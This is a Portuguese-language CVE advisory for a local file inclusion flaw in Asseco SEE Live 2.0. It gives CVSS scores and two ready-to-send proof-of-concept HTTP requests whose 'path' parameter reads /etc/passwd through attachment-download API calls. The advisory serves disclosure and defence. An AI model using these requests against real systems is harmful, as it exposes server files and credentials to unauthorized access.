CVE-2025-66955

Inclusão de Arquivos Local nos componentes Contact Plan, E-Mail, SMS e Fax do Asseco SEE Live 2.0 permite que usuários autenticados remotamente acessem arquivos no host através do parâmetro "path" nas chamadas de API downloadAttachment e downloadAttachmentFromPath.

Vetores CVSS

• CVSS 3.1: 7.7, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• CVSS 4.0: 8.4, CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

Vetores de ataque

As requisições HTTP exigem baixa autenticação.

downloadAttachment

POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"

HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"

Email.downloadAttachment
------WebKitFormBoundary
Content-Disposition: form-data; name="id"

[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="path"

/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"

[REDACTED]
------WebKitFormBoundary--

downloadAttachmentFromPath

POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"

HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"

Email.downloadAttachmentFromPath
------WebKitFormBoundary
Content-Disposition: form-data; name="path"

/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"

[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="model"

Template
------WebKitFormBoundary--